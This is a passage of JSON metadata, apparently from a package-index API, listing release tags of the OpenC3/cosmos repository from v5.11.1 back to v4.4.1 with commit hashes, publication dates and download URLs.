ad.github.com/OpenC3/cosmos/tar.gz/v5.11.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.11.1/manifests"},{"name":"v5.11.0","sha":"faaf5d33847d2b9675e2fb29d7f75a1041cb8211","kind":"tag","published_at":"2023-09-18T00:17:26.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.11.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.11.0/manifests"},{"name":"v5.10.1","sha":"0d72d21aaa6f79cf5c9e295c29f3bb36b3123234","kind":"tag","published_at":"2023-08-17T14:02:07.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.10.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.10.1/manifests"},{"name":"v5.10.0","sha":"391e303c5a996af02f02cb32d9d6768f898822c5","kind":"tag","published_at":"2023-08-05T02:26:57.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.10.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.10.0/manifests"},{"name":"v5.9.1","sha":"039255a41cc53c38d5f8ee8dc45e1d26144330f0","kind":"tag","published_at":"2023-07-17T03:31:40.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.9.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.9.1/manifests"},{"name":"v5.9.0","sha":"a82e729606a3099bc88394c915a3ef300819ac13","kind":"tag","published_at":"2023-07-07T14:49:08.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.9.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.9.0/manifests"},{"name":"v5.8.1","sha":"f48b5a752a36fcd0c66a6b6dad1e2baec4370dc4","kind":"tag","published_at":"2023-05-29T22:34:39.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.8.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.8.1/manifests"},{"name":"v5.8.0","sha":"edff8ea896714cb2c322556f6406780b5209e244","kind":"tag","published_at":"2023-05-26T20:13:22.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.8.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.8.0/manifests"},{"name":"v5.7.2","sha":"2998dfd395276c31f5211d478a7d45e666d7165f","kind":"tag","published_at":"2023-05-16T15:01:29.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.7.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.7.2/manifests"},{"name":"v5.7.0","sha":"6670fd4558c1f603612d24ca72a215606163f76a","kind":"tag","published_at":"2023-05-10T22:18:00.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.7.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.7.0/manifests"},{"name":"v5.6.1","sha":"580186cb1e60d18d88b3ec0418ceeb00c178ff67","kind":"tag","published_at":"2023-04-21T03:42:04.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.6.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.6.1/manifests"},{"name":"v5.6.0","sha":"c55e16152248bf95b966ca64755b496e567d8cf4","kind":"tag","published_at":"2023-04-17T02:51:25.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.6.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.6.0/manifests"},{"name":"v5.5.2","sha":"52ae61515678847d2c77514b0fad57c61b449d19","kind":"tag","published_at":"2023-03-16T04:25:28.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.5.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.2/manifests"},{"name":"v5.5.2-beta0","sha":"945e7e8055ed9b6f36385015dc31206085b27691","kind":"tag","published_at":"2023-03-15T03:45:09.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.5.2-beta0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.5.2-beta0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.5.2-beta0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.2-beta0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.2-beta0/manifests"},{"name":"v5.5.1","sha":"b5e3f2186d7b39b12e1a164fc767071b15dc9403","kind":"tag","published_at":"2023-02-26T15:06:15.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.5.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.1/manifests"},{"name":"v5.5.0","sha":"13a12dc04bb7a9c6f3bbc32a353262ccc7376525","kind":"tag","published_at":"2023-02-23T20:11:48.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.5.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.0/manifests"},{"name":"v5.5.0-beta0","sha":"5f87ba7744e30c015af9c1bb8c1ee6c4b85a988a","kind":"tag","published_at":"2023-02-17T00:37:32.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.5.0-beta0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.5.0-beta0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.5.0-beta0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.0-beta0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.5.0-beta0/manifests"},{"name":"v5.4.3-beta0","sha":"f52b4668fed3f03f03b230716c2760411a483bde","kind":"tag","published_at":"2023-02-14T17:01:51.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.4.3-beta0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.4.3-beta0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.4.3-beta0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.4.3-beta0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.4.3-beta0/manifests"},{"name":"v5.4.2","sha":"2a09e1222d03cb00478c232fde67b3a881c6df96","kind":"tag","published_at":"2023-02-04T03:56:05.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.4.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.4.2/manifests"},{"name":"v5.4.1","sha":"4c1bcfb1df0993e17c5a3dc5c7e5891530325bd2","kind":"tag","published_at":"2023-02-03T00:53:57.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.4.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.4.1/manifests"},{"name":"v5.4.0","sha":"b4c2ce72825a63adf6a0fda9fb668dfd754dfe62","kind":"tag","published_at":"2023-02-02T01:08:31.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.4.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.4.0/manifests"},{"name":"v5.3.0","sha":"34ab4e2030c67b735bbd96e8912def405b8ed6a2","kind":"tag","published_at":"2023-01-05T22:16:00.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.3.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.3.0/manifests"},{"name":"v5.2.0","sha":"59887253fd1f78bde363207b71f946d5f366b57d","kind":"tag","published_at":"2022-12-13T23:02:41.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.2.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.2.0/manifests"},{"name":"v5.1.1","sha":"f5192ade6684d3691daf022b079646820f847ce6","kind":"tag","published_at":"2022-11-19T03:19:28.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.1.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.1.1/manifests"},{"name":"v5.1.0","sha":"b39e7b7031bcf5830b9c1ec8dc8f52508bfc17ef","kind":"tag","published_at":"2022-11-17T23:55:48.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.1.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.1.0/manifests"},{"name":"v5.0.11","sha":"7a843e7fc468956cde810f596046355ba0133318","kind":"tag","published_at":"2022-10-03T20:11:03.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.11","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.11/manifests"},{"name":"v5.0.10","sha":"0a0afbd5a5af9029bd4133402ebdc4216a72d67d","kind":"tag","published_at":"2022-09-17T00:37:49.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.10","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.10/manifests"},{"name":"v5.0.9","sha":"6891a339a82a0bf3afdce3fb7fd4d1adb4de25c6","kind":"tag","published_at":"2022-09-02T12:59:38.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.9","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.9/manifests"},{"name":"v5.0.8","sha":"8d90e35120696ee411c2e15cf9a7bf8ec6257312","kind":"tag","published_at":"2022-08-13T17:45:41.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.8","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.8/manifests"},{"name":"v5.0.7","sha":"d4dd9ea16a8a7580b04ce22fbec7f91c988d6b2d","kind":"tag","published_at":"2022-08-05T01:46:59.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.7","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.7/manifests"},{"name":"v5.0.6","sha":"3119c098095481df5a6d24625ccf2f619e283f8c","kind":"tag","published_at":"2022-07-29T17:27:12.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.6","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.6/manifests"},{"name":"v5.0.5","sha":"cad3a5eac915252f2fc563efe19bc0b54836a566","kind":"tag","published_at":"2022-06-25T21:55:13.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.5","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"1fa9dfe5c0e656ba3cc49f0cf4130aa7e9afa49c","kind":"tag","published_at":"2022-05-24T19:43:33.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.4","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"80f31bc3492f4a83a5d79a28ac0a2805ec52b927","kind":"tag","published_at":"2022-05-13T18:20:28.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"7e5eb5362829eb143e6a3d05cf4cbb18fd362fee","kind":"tag","published_at":"2022-04-28T21:02:10.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.2/manifests"},{"name":"v5.0.2-beta2","sha":"55d77fc8eb77f6f42483f4bea095719dafaa8a63","kind":"tag","published_at":"2022-04-28T04:38:42.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.2-beta2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.2-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.2-beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.2-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.2-beta2/manifests"},{"name":"v4.5.2","sha":"22e4176bf34d700ea5103c049a1e7d699d2af6d5","kind":"tag","published_at":"2022-01-28T16:28:44.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.5.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.5.2/manifests"},{"name":"v5.0.1","sha":"ae24be6954b8a218ea2fc0ede5e04459816fdd21","kind":"tag","published_at":"2021-11-25T02:56:08.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.1/manifests"},{"name":"v4.5.1","sha":"32a9e25ea07953c5502e1d5917c7fb2147744927","kind":"tag","published_at":"2021-09-21T19:40:34.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.5.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.5.1/manifests"},{"name":"v5.0.0","sha":"8564ea619f339311a3b70b31ce7a780682de8ccb","kind":"tag","published_at":"2021-08-15T01:36:36.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.0/manifests"},{"name":"v5.0.0.beta2","sha":"53e2ba201698ca6494846740fe09502637e4a5cc","kind":"tag","published_at":"2021-04-12T22:58:05.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.0.beta2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.0.beta2/manifests"},{"name":"v5.0.0-beta.1","sha":"e88c318fdf324842d12979af8ba3cb818b222def","kind":"tag","published_at":"2021-01-09T22:04:47.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.0-beta.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.0-beta.1/manifests"},{"name":"v4.5.0","sha":"6bfca322d46484b0de5f5d20fc12b4dad45aaed7","kind":"tag","published_at":"2020-11-06T05:01:40.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.5.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.5.0/manifests"},{"name":"v5.0.0-alpha.1","sha":"2ff6fe69bc4d65ebabbb6f5fae574c6469fd4a2e","kind":"tag","published_at":"2020-08-31T22:41:06.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.0.0-alpha.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.0.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.0.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.0.0-alpha.1/manifests"},{"name":"v4.4.2","sha":"35db7030875f32676b63e8916901dbae50f72e07","kind":"tag","published_at":"2020-03-09T18:37:22.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.4.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.4.2/manifests"},{"name":"v4.4.1","sha":"5183488c1354f638d5a484dc8d59a3cc9aedb9dd","kind":"tag","published_at":"2019-12-30T22:08:47.000Z","do